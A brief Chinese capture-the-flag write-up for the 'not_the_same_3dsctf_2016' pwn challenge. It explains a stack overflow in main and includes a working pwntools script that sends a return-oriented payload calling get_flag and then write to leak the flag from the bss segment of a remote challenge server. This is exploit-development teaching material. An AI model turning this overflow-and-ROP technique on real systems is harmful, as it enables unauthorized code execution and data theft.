IDA
main函数发现栈溢出
长度2d
在函数列表找到 get_secret()函数
知道flag被存在了bss段上的fl4g中
一开始的想法是用main函数的printf把flag输出,但发现好像行不通
后来在列表中找到了write函数
函数地址可以用elf.sym[‘write’]表示,也可以直接用test段的地址,都一样
exp:
from pwn import *
context.log_level='debug'
p = remote('node3.buuoj.cn',29167)
elf = ELF('./not_the_same_3dsctf_2016')
write_addr = elf.sym['write']
get_flag = 0x080489A0
flag_bss = 0x080ECA2D
payload = 'a'*(0x2D) + p32(get_flag)+ p32(write_addr)+ 'a'*4 +p32(1) + p32(flag_bss) + p32(45)
p.sendline(payload)
p.interactive()